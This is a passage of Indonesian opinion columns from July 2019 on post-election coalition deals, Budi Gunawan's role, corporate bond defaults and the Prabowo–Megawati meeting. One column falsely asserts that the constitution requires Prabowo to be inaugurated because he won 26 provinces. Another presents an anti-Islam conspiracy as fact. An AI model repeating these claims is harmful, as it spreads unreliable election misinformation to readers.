bahwa dalam paket yang diusung harus diisi oleh parpol koalisi Jokowi-Ma'ruf, bukan parpol oposisi. Hal ini disampaikan SP menanggapi Gerindra yang juga mengincar kursi Ketua MPR. “Kursi MPR idealnya tetap paket partai pengusung pemerintahan Jokowi saat ini,” katanya. Namun, terkait siapa yang mendapat jatah Ketua MPR dan tiga Wakil Ketua MPR, belum diputuskan. Seluruh parpol pengusung Jokowi-Ma'ruf harus membahasnya lebih lanjut. “Kalau masing masing mau jadi ketua ya susah,” kata bos Media Group ini, seperti dilansir Kompas.com, Senin (22/7/2019). Apa yang sebenarnya terjadi di balik itu semua? Menurut Direktur Eksekutif Indonesia Political Review Ujang Komaruddin, jika ada yang khawatir dengan pertemuan Prabowo-Mega, Rabu (24/7/2019), itu bisa jadi partai-partai koalisi Jokowi-Ma'ruf. Soalnya, pertemuan ini semakin membuka peluang Gerindra masuk ke dalam koalisi. “Jika Gerindra masuk koalisi, jatah menteri partai koalisi Jokowi bisa berkurang,” ungkap Ujang, seperti dikutip Tirto.id. Faktanya, jumlah partai yang mesti diakomodasi atau minimal diperhatikan Jokowi tahun ini lebih banyak. Pada Pilpres 2019 paslon nomor urut 01 ini didukung oleh 10 partai. Sementara pada Pilpres 2014, Jokowi yang didampingi Jusuf Kalla hanya diusung koalisi ramping, yaitu: PDIP, PKB, Nasdem, Hanura, dan PKPI. Golkar, PPP, dan PAN baru bergabung belakangan. Apalagi jika kursi menteri berbanding lurus dengan perolehan suara di pileg. Gerindra hanya kalah dari PDIP sebagai pemenang pileg. Gerindra mendapat suara 17,5 juta atau setara 12,57 persen total suara. Kabarnya, Gerindra itu mengincar kursi Kementerian BUMN dan Pertanian. Dengan kondisi demikian, tak heran jika partai pendukung Jokowi menolak Gerindra bergabung masuk dalam Pemerintahan Jokowi-Ma’ruf. Penolakan atas Gerindra dan parpol seperti Demokrat-PAN telah disampaikan PKB, Golkar, Nasdem, dan PPP, empat partai pendukung Jokowi selain PDIP yang lolos ambang batas parlemen. Keempat partai itu sudah berkali-kali meminta jatah menteri dari Jokowi, meski hingga kini belum jelas siapa yang akan ditunjuk Presiden Jokowi. Muhaimin bilang, selayaknya PKB dapat jatah 10 menteri. Sementara fungsionaris Nasdem Taufiqulhadi mengatakan, semestinya partainya dapat lebih banyak karena suara di pileg lebih besar. Golkar dan Nasdem pun serupa. Masing-masing dari mereka disebut-sebut meminta jatah empat dan dua kursi menteri. Ketum empat partai ini, Muhaimin, Airlangga, SP, dan Suharso, saat bertemu menyatakan sikap bahwa koalisi tak perlu diperlebar. Kata Sekjen Nasdem Johnny G. Plate, empat ketum partai ini satu suara agar sebaiknya “koalisi yang ada diperkuat saja”. Pernyataan Sekretaris Bidang Pendidikan dan Pelatihan DPP PDIP Eva Kusuma Sundari semakin menegaskan kalau pertemuan empat ketum partai itu sebagai bentuk perlawanan terhadap kecenderungan bergabungnya Gerindra. Eva bilang, pertemuan itu hanya reaksi dari keresahan partai koalisi atas hak prerogatif presiden dalam memilih kabinet. “Mereka sudah tahu risiko atau konsekuensi dari hak prerogatif presiden,” katanya. Selain menteri, kata Ujang, bergabungnya Gerindra juga menipiskan peluang pimpinan legislatif dipegang partai koalisi Jokowi. Gerindra terang-terangan mengincar kursi MPR. Nama Sekjen Gerindra Ahmad Muzani, dimunculkan sebagai kandidat. Muzani dimajukan karena dia dianggap diterima semua fraksi. “Empat partai tersebut sedang 'mengunci' Gerindra, sebab kursi Ketua MPR bisa saja diperebutkan dengan partai itu,” ujar Ujang. Dalam ayat (2) pasal 15 UU Nomor 2 Tahun 2018 atau UU MD3 disebutkan bahwa pimpinan MPR dipilih dari dan oleh anggota MPR dalam satu paket. Artinya, Gerindra memang bisa mendapat kursi itu setelah disetujui koalisi. Sejauh ini Gerindra juga belum membuat pernyataan resmi soal posisinya di pemerintahan Jokowi. Anggota badan komunikasi Gerindra, Andre Rosiade, mengatakan semua akan diputuskan saat Rapat Kerja Nasional (Rakernas) September mendatang. “Arah koalisi Gerindra akan diambil pada September dalam Rakernas. Di situlah sikap resmi Gerindra akan diambil,” ujar Andre pertengahan Juli lalu. Namun, jika menyimak pertemuan Prabowo-Mega di Teuku Umar, tampaknya membawa “pesan khusus”. Setidaknya, selain ditujukan kepada empat parpol Koalisi Jokowi yang tidak dilibatkan dalam pertemuan Stasiun MRT Lebak Bulus maupun Teuku Umar, pesan khusus ini juga ditujukan pada Jokowi. Jika menolak rekonsiliasi, maka posisi Jokowi bisa rawan. Bukan tidak mungkin, pertemuan Prabowo-Mega tersebut terjadi untuk antisipasi jika Jokowi dan parpol koalisinya menolak format rekonsiliasi yang diajukan oleh Prabowo. Taruhannya adalah Jokowi-Ma’ruf gagal dilantik sebagai Presiden-Wapres 2019-2024. Menang pada Pilpres 2019, tapi tak otomatis bisa dilantik. Karena, sesuai pasal 6 UUD 1945 mengharuskan agar pemenang pilpres harus menang di 50% wilayah provinsi dan tidak boleh ada suara di wilayah provinsi yang di bawah 20 persen. Versi KPU, paslon 02 Prabowo Subianto – Sandiaga Uno tidak menang secara nasional, tapi menang di 26 provinsi, dan tidak ada perolehan suara di bawah 20 persen. Dengan demikian maka Prabowo menang 2 point versi UUD 1945, Jokowi menang hanya 1 poin. Solusinya: Pertama, MPR harus bersidang untuk melantik Prabowo, bukan melantik Jokowi. Kalau melantik Jokowi ini sama saja dengan melanggar UUD 1945. Lagi pula kalau Jokowi dilantik, maka ada 26 provinsi yang kecewa. Buah simalakama bukan? Kedua, pemilihan ulang. Kalau pemilihan ulang rasanya tidak mungkin. Selain tak ada biaya, banyak rakyat tidak mau pilpres ulang karena mereka yakin bahwa pemenang pilpres adalah Prabowo-Sandi. Maka, tidak ada alternatif lain kecuali MPR harus melantik Prabowo-Sandi sebagai Presiden dan Wapres RI 2019-2024. Di sinilah Mega piawai dalam membaca strategi politik Prabowo sejak “dikalahkan” oleh KPU yang dikuatkan oleh MK dan MA. Sebaliknya, dengan format mengikuti hasil rekapitulasi KPU berdasar prosentase 55:54, telah membuat Koalisi Jokowi sedikit goyang. Apalagi, saat pertemuan Prabowo-Jokowi di Stasiun MRT Lebak Bulus hingga Teuku Umar, tidak melibatkan mereka. Sebelumnya, Prabowo bersama Dewan Pembina disebut menyiapkan konsep terkait opsi soal ketahanan pangan dan ketahanan energi. Jika konsep itu diterima oleh pihak Presiden Jokowi, maka Gerindra bersedia masuk ke dalam koalisi parpol pendukung pemerintah. Apabila tidak disetujui, Gerindra akan tetap menjadi oposisi. “Tapi sebaiknya menurut saya Mas Bowo ngomong sendiri saja sama Pak Jokowi. Sehingga yang namanya dialog itu sangat diperlukan,” kata Megawati, seperti dilansir Kompas.com, Rabu (24/7/2019). “Semua keputusan nanti ada di presiden terpilih karena pada Beliaulah (Presiden Jokowi) hak prerogatif itu ada, bukan pada saya,” ucap Presiden kelima RI itu. Tentunya termasuk format rekonsiliasi yang diajukan Prabowo? Mengikuti Surya Paloh Cs atau Megawati! ***

Budi Gunawan, Orang Kuat Baru Indonesia

Oleh Hersubeno Arief (Wartawan Senior) Indonesia punya orang kuat baru. Orang itu bernama Budi Gunawan. Saat Ini dia menjabat sebagai Kepala Badan Intelijen Negara (BIN). Fakta itu mencuat menyusul bertemunya Prabowo-Jokowi di stasiun MRT Lebak Bulus, dilanjutkan dengan kunjungannya ke kediaman Ketua Umum PDIP Megawati di Jalan Teuku Umar, Jakarta. BG—begitu dia dipanggil— hadir dalam dua pertemuan tersebut. Kehadiran BG yang cukup menonjol terlihat dalam jamuan makan siang di kediaman Megawati. Yang hadir sangat terbatas. Megawati ditemani dua orang anaknya Muhammad Prananda Prabowo dan Puan Maharani Mensekab Pramono Anung, plus BG. Hal itu menunjukkan posisinya yang spesial. Kehadiran BG sempat tak dikenali. Dia tampil klimis, tanpa kumis hitam rapih yang menjadi ciri khasnya. Sejumlah tokoh yang mengerti cerita dibalik keberhasilan “operasi rahasia” itu juga mengkonfirmasi penting dan krusialnya peran BG mewujudkan semuanya. “Beliau bekerja tanpa ada suara. Alhamdulillah apa yang dikerjakan hari ini tercapai," kata Pramono Anung seusai pertemuan MRT, Sabtu (13/7/2019). Sementara Sekjen PDIP Hasto Kristiyanto menyatakan BG menjalankan semua peran itu atas penugasan Presiden Jokowi. Tak heran bila banyak kalangan yang memuji keberhasilan BG menjalankan “mission impossible” itu. Politisi PKS Aboe Bakar Al-Habsyi termasuk yang kagum. Agak sulit sebelumnya membayangkan Prabowo bersedia bertemu Jokowi, mengingat kontestasi politik yang sangat keras sepanjang pilpres lalu. Yang terjadi bukan hanya bertemu. Prabowo tampak ketawa-ketiwi, makan siang dalam suasana yang sangat hangat dan personal dengan Megawati. Lebih dari itu, dua kubu itu tampaknya sampai pada satu kesepakatan bakal bagi-bagi kekuasaan (power sharing). Sebuah praktik politik yang belum pernah terjadi sepanjang sejarah dunia, di negara demokrasi. Dua capres yang berkontestasi. Terlibat perseteruan dahsyat. Sampai bersengketa di Mahkamah Konstitusi (MK). Ratusan korban tewas, baik dari para petugas penyelenggara pemilu dan pendukung, tetiba mereka kemudian sepakat memerintah bersama. Sebuah praktik demokrasi out of the box, bahkan di luar nalar pikiran kita semua. Beyond our imagination. Semua hil yang mustahal ini bisa terwujud berkat peran seorang aktor utama bernama BG. Fakta itu menunjukkan BG mempunyai otoritas, kekuatan jaringan, kemampuan, sumber daya, dan yang paling penting: Dipercaya. Baik oleh kubu Jokowi, khususnya Megawati maupun kubu Prabowo. Tangannya menjangkau jauh ke dalam partai politik, dan pengambil keputusan di dua kubu yang berseteru. Dua kekuatan yang dalam setahun terakhir saling bertentangan secara diametral. Dua kubu yang membelah Indonesia menjadi cebong dan kampret. Dengan perannya itu, kita tidak perlu kaget bila dalam beberapa tahun ke depan BG akan memegang posisi penting dan memainkan peran yang lebih besar dalam pemerintahan Jokowi. Dia akan menggantikan peran-peran tokoh yang selama ini mendominasi pentas politik nasional seperti Luhut Panjaitan. Menjadi orang kepercayaan dan tangan kanan Jokowi. Perannya bahkan akan lebih kuat, mengingat kedekatannya dengan Megawati. Melalui PDIP Megawati adalah pemegang saham terbesar pemerintahan Jokowi. Tidak Terduga Barangkali banyak yang tidak menduga, BG akan mencapai posisi sentral seperti sekarang. Karirnya nyaris habis ketika dia ditetapkan sebagai tersangka korupsi oleh Komisi Pemberantasan Korupsi (KPK) pada awal masa jabatan Jokowi (2015). Saat itu Jokowi sudah menominasikannya sebagai Kapolri dan DPR menyetujuinya. Jokowi ternyata menolak melantik BG ketika dia berhasil memenangkan gugatan pra-peradilan atas KPK. Dia kemudian harus “menyingkir” menjadi Kepala BIN. Jabatan sebagai Kapolri akhirnya diberikan kepada juniornya Tito Karnavian. Dengan peran baru sebagai Kepala BIN, BG lebih banyak bekerja di balik layar. Justru dengan posisinya itu dia bisa lebih banyak melakukan kerja-kerja politik, lepas dari sorotan publik. Sebuah peran yang tak mungkin dia jalankan bila menduduki posisi Kapolri. Hubungannya yang sangat dekat dengan Ketua Umum PDIP Megawati, membuat BG punya akses dan peran istimewa di dunia politik. Bagaimanapun PDIP adalah partai terbesar. Partai pemenang pemilu. Jokowi, seorang kadernya, seorang petugas partai menjadi presiden. Jadi Megawati menjadi semacam Godmother. Pemegang kekuasaan sesungguhnya secara informal dan secara organisasi berada di atas Jokowi. Sebagai mantan ajudan ketika Megawati menjadi presiden, kini peran BG berubah menjadi seorang “partner.” Peran yang melengkapi dan mengisi kekosongan yang dulu diperankan oleh suami Megawati, almarhum Taufik Kiemas (TK). Semasa Kakak TK —begitu dia biasa dipanggl kalangan dekatnya—masih hidup, dia menjadi semacam jembatan politik bagi Megawati. Dia bisa mempertemukan berbagai kekuatan yang berseberangan, duduk dalam satu meja. Termasuk tokoh-tokoh Islam yang sering berposisi diametral dengan PDIP dan Megawati. Latar belakang kakak TK sebagai anak tokoh Masjumi di Palembang, membuatnya tidak kesulitan menembus sekat-sekat itu. Megawati tampaknya sudah menemukan partner baru. Partner menjalankan peran yang dimainkan TK di masa lalu. Dilihat dari usia BG (60 th), jauh lebih muda dibanding Megawati (72 th), dia bukan hanya berperan sebagai partner, tapi juga bisa menjadi salah satu kader penerus kekuasaannya. Kemunculan BG di publik dan momen-momen politik penting, bisa dilihat sebagai tahap awal pengenalannya (brand awareness) kepada publik pemilih Indonesia. Jika BG dipersiapkan sebagai the next leader, dia tidak boleh terus berada di dunia remang-remang. Dunia intelijen di balik layar. Dia harus lebih sering tampil di muka publik. Dalam marketing politik dikenal rumus baku : Popularitas, disukai (likeness) dan elektabilitas. Kalau mau terpilih haruslah populer terlebih dahulu, dan kemudian disukai publik. Peta dunia persilatan politik Indonesia bakal tambah seru dan menarik. Kita sudah bisa membayangkan serunya persaingan Pilpres 2024 sejak dari sekarang. Selamat datang Pak BG. Semoga beruntung. end

Beda Makan Siang Anies-Surya Paloh dengan Makan Siang Prabowo-Megawati

Oleh Hersubeno Arief (Wartawan Senior) Jakarta, FNN - Rabu (24/7) ada dua peristiwa politik penting yang menyedot perhatian publik. Pertama, pertemuan antara Ketua Umum Partai Gerindra dengan Ketua Umum PDIP Megawati. Kedua, pertemuan antara Gubernur DKI Anies Baswedan dengan Ketua Umum Partai Nasdem Surya Paloh. Lokasinya berjarak tidak terlalu jauh. Jika ditarik garis lurus, barangkali tidak mencampai satu kilometer. Masih dalam jangkauan jarak bidik. Hanya sepelemparan batu. Yang satu dihelat di Jalan Teuku Umar, kediaman Megawati. Satunya lagi dihelat di kantor Nasdem di Jalan Gondangdia. Dua-duanya berada di kawasan Menteng. Kawasan paling elit di Jakarta. Ada persamaan dan perbedaan diantara kedua pertemuan itu. Persamaan yang paling kasat mata, kedua pertemuan dilakukan sambil makan siang. Karena acara makan siang itu dilakukan oleh para politisi papan atas, tak salah bila kemudian publik dan media menafsirkan secara politis pula. Sudah menjadi pemahaman umum, ada adagium yang sangat populer “tidak ada makan siang yang gratis.” Apalagi dalam politik. Jadi mau dibantah. Dijelaskan panjang lebar sampai berbusa-busa, sulit untuk menyebut hal itu hanya silaturahmi biasa. Apalagi hanya sekedar menyebutnya silaturahmi para tokoh bangsa yang kebetulan sudah bersaahabat lama. Konfigurasi baru peta politik Dilihat dari dampaknya secara politik, harus diakui pertemuan antara Anies dengan Surya lebih mengejutkan ketimbang pertemuan Prabowo dengan Megawati. Pertemuan Prabowo dengan Megawati, kendati mendapat liputan media dalam skala besar, namun tone-nya landai. Maklumlah pertemuan itu dihelat setelah Prabowo bertemu dengan Jokowi di stasiun MRT Lebak Bulus. Publik sudah tidak lagi terlalu kaget dan mahfum, Prabowo dan Gerindra hampir pasti merapat ke istana. Hanya saja kali ini langkahnya semakin dekat. Dia bertemu Megawati sebagai pemilik saham dan aset terbesar dalam partai koalisi pendukung Jokowi. Ini semacam fatsoen politik dan adanya sebuah kepastian: Prabowo diundang dan diterima dengan tangan terbuka! Situasinya jelas sangat berbeda dengan pertemuan Anies-Surya Paloh. Boleh dibilang ini adalah sebuah kejutan besar! Pasca pertemuan di stasiun MRT, massa pendukung 02 sangat kecewa dan bersiap move on. Mereka sedang mencari-cari figur baru penantang Jokowi. Anies termasuk dalam daftar teratas yang dielus-elus sebagai jago baru. Kendati pernah menjadi tim sukses dan kemudian menjadi anggota kabinet Jokowi, dalam polarisasi politik Indonesia, dia diposisikan berseberangan dengan Jokowi. Makanya ketika Anies bertemu Surya Paloh, publik dan media menangkap ada sesuatu yang tengah terjadi. Sesuatu yang akan membuat perubahan kostelasi politik sangat besar. Media kemudian beramai-ramai membuat judul : Surya Paloh Siap Usung Anies Baswedan pada Pilpres 2024. Situs MetroTVnews.com milik Surya Paloh termasuk yang mengunggah judul itu. Jelas ini berita besar. Layak masuk kategori Breaking News! Kabinet baru belum terbentuk, kok tetiba Surya Paloh sudah mengumumkan gacoan baru! Publik menangkap ini semacam sinyal perlawanan dari Surya Paloh. Dia tak sepakat atas rencana Jokowi dan Megawati menggandeng masuk Prabowo ke kabinet. Dua hari sebelumnya Surya Paloh juga bertemu dengan para Ketua umum partai pendukung Jokowi tanpa dihadiri wakil PDIP. CLBK (Cinta lama bersemi kembali) antara Prabowo dengan Megawati, membuat Surya Paloh Dkk patah hati. Ada yang berkhianat, mendua hati. Pesta pernikahan berupa pengumuman kabinet belum dihelat, kok sudah ada yang main mata dengan gacoan lama. Karena itu signal politik yang tegas dan keras harus disampaikan. Anies merupakan medium yang paling pas dan tepat untuk menyampaikan pesan itu. Kalau sampai Jokowi dan Megawati meneruskan langkahnya, maka mereka akan berhadapan dengan Surya Paloh Dkk. Belakangan Nasdem secara resmi membantah ada pernyataan itu. Menurut mereka media salah menafsirkan statemen Surya Paloh. Media kemudian ramai-ramai meralat beritanya. Ada “kesalahan” berjamaah, termasuk media milik Surya Paloh. Bila kita cermati rekaman pernyataan Surya Paloh, benar tidak ada kata secara eksplisit dia akan mengusung Anies Baswedan. Namun momentum pertemuan, dan statemen-statemen yang disampaikan, secara implisit mengisyaratkan Surya Paloh sedang “mempertimbangkan” dan menilai Anies layak didukung sebagai capres pada 2024. Media dan publik tidak sepenuhnya salah. Dalam politik, kita tidak boleh hanya memahami apa yang tersurat, tapi juga yang tersirat. Simbol, gestur tubuh, momentum, pilihan lokasi, siapa bertemu siapa, siapa bicara apa, haruslah turut diperhatikan. Ada panggung depan dan panggung belakang. Sekali lagi pertemuan Anies dan Surya Paloh tidak boleh hanya dipahami sebagai pertemuan biasa. Juga bukan sekedar pertemuan sahabat lama, pertemuan antara seorang kakak dan adik seperti dikatakan Surya Paloh. Penjelasan bahwa Anies merupakan salah satu deklarator Ormas Nasdem, makin menguatkan dugaan: sedang terjadi perubahan konfigurasi besar dalam formasi politik Indonesia saat ini. Kita tidak bisa lagi menggunakan kacamata lama dalam bingkai dua kubu besar, kubu paslon 01 dan palson 02. Formasinya mulai mencair dan bisa membentuk beberapa konfigurasi baru. Bila meminjam analogi dunia silat, manuver Surya Paloh bertemu Anies bisa dilihat sebagai jurus kembangan. Seorang pesilat biasanya menggunakan jurus ini untuk menjajaki dan memancing lawan, sebelum melakukan serangan telak dengan jurus inti yang mematikan. Semuanya sangat bergantung pada reaksi Jokowi dan terutama Megawati. Memilih kembali ke Cinta Lama yang Belum Kelar (CLBK) dengan Prabowo, tetap bersama koalisi partai pendukung Jokowi, atau mengambil jalan tengah, poligami politik. End

Kasus Gagal Bayar, Tanda-tanda Awal Krisis?

Oleh Dimas Huda (Wartawan Senior) Jakarta, FNN - Krisis ekonomi mulai mengintip. Sejumlah perusahaan menunjukkan gejala gagal bayar. Kasus terbaru gagal bayar obligasi mendera perusahaan tekstil terbesar Indonesia, PT Delta Merlin Dunia Textile. Anak usaha perusahaan tekstil ternama Duniatex Group ini dikabarkan gagal bayar bunga dan pokok surat utang senilai US$11 juta alias Rp154 miliar (estimasi kurs 14.015). Terang saja, gagal bayar ini membuat bank ketar-ketir. Setidaknya ada 10 bank kreditur yang telah menyalurkan kredit kepada anak Duniatex itu. Pada 2018 saja, duit yang mengalir dari bank-bank itu ke perusahaan tersebut senilai Rp5,25 triliun dan US$362 juta. Delta bermaksud menerbitkan obligasi senilai US$300 juta. Pada Rabu (24/7) Bloomberg melaporkan, lembaga pemeringkat S&P menurunkan peringkat utang Delta sebanyak 6 level hingga menyentuh skor CCC-, skor yang dapat dikatakan "junk" alias sampah. Tidak hanya S&P, Fitch Ratings juga menurunkan peringkat utang perusahaan menjadi B- pada Kamis pekan lalu. Dalam catatan J.P Morgan, ada tiga bank plat merah yang turut menjadi kreditur anak perusahaan, salah satunya PT Bank Mandiri (Persero) Tbk., yang menjadi bank terbesar dalam penyaluran kredit kedua setelah Bank Exim pada 2018. Sebelumnya potensi gagal bayar juga mengepung PT Kawasan Industri Jababeka Tbk (KIJA). Perusahaan ini berpotensi default atas surat utang anak perusahaan senilai us$300 juta berikut dengan bunga. Bukan hanya mereka saja yang begitu. PT Agung Podomoro Land Tbk. juga sedang panik. Pemain properti ini tengah berupaya memperoleh suntikan pendanaan dari pemegang saham untuk dapat melakukan pembayaran dari sejumlah kewajiban yang jatuh tempo pada tahun ini. Selain Perjanjian Fasilitas I yang jatuh tempo Juni lalu, terdapat beberapa utang lainnya yang juga akan jatuh tempo di tahun ini antara lain obligasi sebesar Rp451 miliar yang jatuh tempo pada Desember 2019 dan obligasi senilai Rp99 miliar yang jatuh tempo pada bulan Maret 2020. Selain menunggu suntikan dari pemegang saham, perusahaan juga tengah mencari pinjaman lainnya bersama dengan kreditor yang berasal dari Perjanjian Fasilitas II. Pada 17 Juli pekan lalu, Fitch Ratings menurunkan rating perusahaan dan obligasi yang diterbitkan perseroan menjadi CCC- dari sebelumnya B- akibat risiko pendanaan ulang (refinancing) dan risiko likuiditas. "Penurunan peringkat mencerminkan risiko refinancing dan risiko likuiditas yang meningkat, seiring dengan penundaan rencananya mencari pendanaan pada Mei 2019 yang berniat digunakan untuk mendanai kembali obligasi domestik jangka pendek dan melunasi kredit sindikasi Rp1,17 triliun," tulis rilis Direktur Fitch Ratings Singapore Pte Ltd Erlin Salim dalam risetnya. Pintu Krisis Fuad Bawazier menilai di banyak negara krisis ekonomi sering diawali dengan gagal bayar utang, baik utang negara ataupun utang swasta. Lalu, belakangan, sejumlah ekonom juga mencemaskan besarnya utang badan usaha milik negara atau BUMN. "Kecemasan-kecemasan itu bisa dipahami mengingat umumnya proyek yang dibiayai utang kurang ekonomis pembangunannya dan kurang produktif setelahnya," kata Menkeu Kabinet Pembangunan VII ini, dalam keterangannya, Rabu (24/7). Ekonom senior Rizal Ramli sekendang sepenarian dengan Fuad. “Kalau ekonomi tidak segera dibenahi dikhawatirkan krisis 1998 kembali terjadi,” katanya seperti dikutip RMOL, Rabu (24/7). Menko Perekonomian era Presiden Gus Dur ini menyampaikan kalau tidak ada langkah-langkan cepat dan jitu memperbaiki ekonomi, dikhawatirkan akan banyak perusahaan yang menyusul. "Kalau tidak hati-hati bisa menyeret yang lainnya. Belajarlah dari krisis 1998," katanya. Kegaduhan di PT Krakatau Steel, Asuransi Jiwasraya, PT Garuda, isu membengkaknya utang BUMN Karya, dan besarnya kredit bermasalah di bank pelat merah juga dinilai Fuad masih menjadi sorotan. Meski begitu menurutnya sejauh ini belum ada berita kegagalan BUMN bayar utang. Fuad justru heran gagal bayar utang justru diawali oleh pihak swasta. Khusus gagal Grup Duniatex, dia menilai kegagalan perusahaan ini membayar obligasi merupakan hal tidak wajar. "Tetapi di luar dugaan, gagal bayar utang justru diawali oleh pihak swasta dari industri tekstil. PT DMDT dari Group Duniatex yang menerbitkan obligasi US$300 juta pada bulan Maret tahun ini gagal bayar kupon obligasinya. Aneh sekali obligasi yang baru berumur 3-4 bulan sudah gagal bayar kupon," kata Fuad curiga. Fuad mengatakan hal ini bisa jadi penipuan. Duniatex juga sudah berutang dari sindikasi bank, termasuk Indonesian Eximbank sebesar Rp17 triliun. Belum lagi kredit yang didapatkan pada tahun 2018. "Menjadi lebih mengejutkan lagi ketika JP Morgan mengabarkan bahwa dalam tahun 2018 Group Duniatex telah menerima kredit US$362,3 juta dan Rp5,25 triliun," lanjutnya. Kegagalan bayar utang ini, meski baru kupon, tentu menghancurkan nilai obligasi tersebut sebagai junk, dan mau tidak mau pemegangnya membukukan sebagian kerugian. Kejadian ini, bisa mencemaskan pasar modal dan meningkatkan kredit macet perbankan. Bukan cuma Duniatex saja yang penilaiannya menurun, kredit rating Indonesia pun bisa saja terkena imbasnya. "Jika itu terjadi, merupakan signal awal krisis ekonomi Indonesia," tegasnya. Menurut Fuad, pemerintah tidak pada posisi yang mampu menolong pada saat ini. Berbeda dengan saat krisis moneter tahun 1998 ketika pemerintah mampu bertindak sebagai penolong swasta yang gagal bayar utang. Jadi, sebaiknya semua pihak, khususnya pemerintah waspada dan sedia payung sebelum hujan. Jangan jumawa bilang ekonomi sedang kuat. "Sekali lagi jangan berasumsi apalagi berkoar bahwa ekonomi kita kuat, dan ketika krisis benar- benar terjadi cari kambing hitam. Selalu ada solusi asal mau mikir," ujar Fuad.

Megawati Mau Pisahkan Prabowo dari Umat Islam, Tendang LBP, Cegah SBY

Oleh Asyari Usman (Wartawan Senior) Jakarta, FNN - Pada hari Rabu (24 Juli 2019), berlangsung pertemuan Prabowo dan Megawati di kediaman mantan presiden kelima itu, di Jalan Teuku Umar. Semula diberitakan pertemuan ini akan dihadiri oleh Jokowi. Tetapi, akhirnya, hanya berlangsung antara Prabowo dan Bu Mega. Menyusul pertemuan Stasiun Lebak Bulus antara Jokowo dan Prabowo (13 Juli 2019), pertemuan Teuku Umar semakin memperjelas arah yang ingin ditempuh para penguasa politik. Semakin jelas apa yang hendak mereka lakukan. Mereka sedang berusaha merangkul Prabowo dan Gerindra. Lalu, apa tujuan mereka merangkul? Banyak yang bisa dibaca dari pertemuan Lebak Bulus dan Teuku Umar. Tujuan pertama dan utama adalah upaya untuk memisahkan Prabowo dari umat Islam. Tujuan ini tidak samar-samar. Sangat gamblang. Bisa dilihat dari sejumlah isyarat yang ditunjukkan secara terbuka oleh para politisi yang terlibat di dalam proses rekonsiliasi antara Kubu 01 dan Kubu 02. Prabowo, tampaknya, dianggap sudah terlalu jauh berfusi (menyatu) dengan umat Islam (i.e. umat garis lurus). Para politisi sekuler-nasionalis anti-Islam di semua kekuatan politik melihat kedekatan Prabowo dan umat serta para ulama bisa membentuk kekuatan besar yang akan menggusur mereka. Kentalnya fusi Prabowo dan umat terbukti dalam kampanye pilpres 2019. Kampanye Prabowo-Sandi yang selalu gegap-gempita di mana-mana. Kemudian, silaturahmi keliling Indonesia yang dilakukan Sandiaga Uno selama enam (6) bulan sebelum kampanye, juga meledak di mana-mana. Fakta-fakta inilah yang membuat proyeksi kemenangan Prabowo-Sandi menjadi sangat diyakini akan terjadi. Tapi, akhirnya, proyeksi kemenangan itu kandas di tangan Komisi Pemilihan Umum (KPU). Kemenangan Prabowo akan menjadi simbol kemenangan umat Islam. Pantas diduga proyeksi kemenangan itu membuat para penguasa politik dan para penguasa institusi yang sama-sama anti-Islam, menjadi resah. Karena itu, tidaklah mengherankan kalau terasa ada yang “tak wajar” dalam proses yang berlangsung di KPU dan tahap-tahap berikutnya di luar KPU. Para pendukung Prabowo yakin ada kekuatan yang merancang proses di lembaga penyelenggara pemilu ini. Kepala BIN Budi Gunawan (BG) pasti punya banyak informasi tentang dukungan kuat umat garis lurus kepada Prabowo. Pak BG juga pasti tahu tentang fakta-fakta pilpres 2019. Tak mungkin tidak, beliau juga memiliki detail perolehan suara Jokowi dan Prabowo. Pengetahuan Pak BG tentang perolehan suara itulah yang membuat dia berinisiatif merangkul Prabowo setelah muncul reaksi keras pendukung 01 terhadap keputusan KPU. Membiarkan Prabowo kesal dan rundung dalam kekalahannya diperkirakan akan semakin memperkuat aliansi dia dengan umat Islam dan para ulama. Kekuatan yang “dikalahkan” ini dikhawatirkan akan bergejolak terus seperti perut gunung berapi. Karena itu, mencabut Prabowo dari pusaran gejolak itu menjadi prioritas. Mereka perkirakan, mencabut Prabowo dari umat akan melemahkan perlawanan. Dan ternyata taktik memisahkan Prabowo dari gerbongnya, sejauh ini, cukup ampuh. Umat Islam pendukung Prabowo terbelah-belah akibat ucapan selamat dari Prabowo untuk Jokowi di Lebak Bulus. Terpecah menjadi tiga. Pertama, kelompok yang setuju dengan langkah Prabowo menerima rekonsiliasi bahkan berkoalisi dengan Jokowi. Kedua, kalangan yang menentang keras rekonsiliasi/koalisi. Ketiga, mereka yang diam saja. Mayoritas adalah kelompok kedua, yaitu mereka yang menentang keras. Tetapi, suara mayoritas itu menjadi tidak efektif dan malahan para pentolannya dijadikan target kriminalisasi. Prabowo terus “dihibur” dengan skenario yang menyenangkan. Setelah Lebak Bulus, hiburan itu dilanjutkan dengan makan nasi goreng di rumah Mega. Pertemuan ini akan menumbuhkan keyakinan di dalam diri Prabowo bahwa dia sedang “dihargai”. Sedang “dihargai” ini bisa juga punya arti yang tersirat. Salah satu kemungkinan maknanya adalah “diberi harga”. Kedua arti itu seharusnya paralel. Sulit dibantah. Menafikan ini akan sama dengan menolak dalil absolut bahwa setiap makhluk hidup pasti perlu makan ketika ia lapar. Sekali lagi, itulah tujuan pertama dan utama pertemuan Lebak Bulus dan Teuku Umar. Yaitu, mencabut Prabowo dari pendukungnya yang mayoritas umat Islam (garis lurus). Tujuan pertama ini tampak dari gelagat yang terjadi. Yang mengumumkan pertemuan Prabowo-Megawati adalah FX Arief Poyuono. Dia adalah salah seorang dari faksi alergi-Islam di tubuh Gerindra. Faksi inilah yang sekarang banyak berperan sebagai ‘jurubicara’ Prabowo. Faksi alergi-Islam di Gerindra menjadi dominan menjelang Lebak Bulus. Saat ini, faksi Poyu harus diakui paling kuat pengaruhnya terhadap Prabowo. Cuma, untuk meredam kecurigaan umat, Poyuono tidak diikutkan di Teuku Umar. Sebagai tambahan, catatan sejarah menunjukkan FX Arief Poyuono pernah menjadi kader PDIP. Besar kemungkinan ‘darah PDIP’ yang mengalir di tubuh Poyu membuat dia lebih lincah berkomunikasi dengan Kubu 01. Dan juga dengan pimpinan PDIP. Benarkah ada gejala anti-Islam di Gerindra? Kecenderungan itu tidak sulit untuk diidentifikasikan. Antara lain dapat terbaca dari hubungan yang mulai renggang dan semakin melebar jaraknya antara Prabowo (plus faksi Poyu) di satu pihak dengan para ulama GNPF dan para pemuka PA-212 di pihak lain. Pertemuan Lebak Bulus dan Teuku Umar hampir pasti berlangsung tanpa komunikasi dengan para ulama yang selama ini menyertai Prabowo. Tujuan kedua. Mencabut Prabowo dari umat Islam sekaligus mengirimkan sinyal kepada umat garis lurus bahwa mereka sedang dialianisasikan. Proses pengucilan sudah dimulai. Mereka akan ‘digarap’ di periode kedua Jokowi. Diperkirakan, akan banyak kebijakan dan tindakan langsung Presiden yang ditujukan untuk 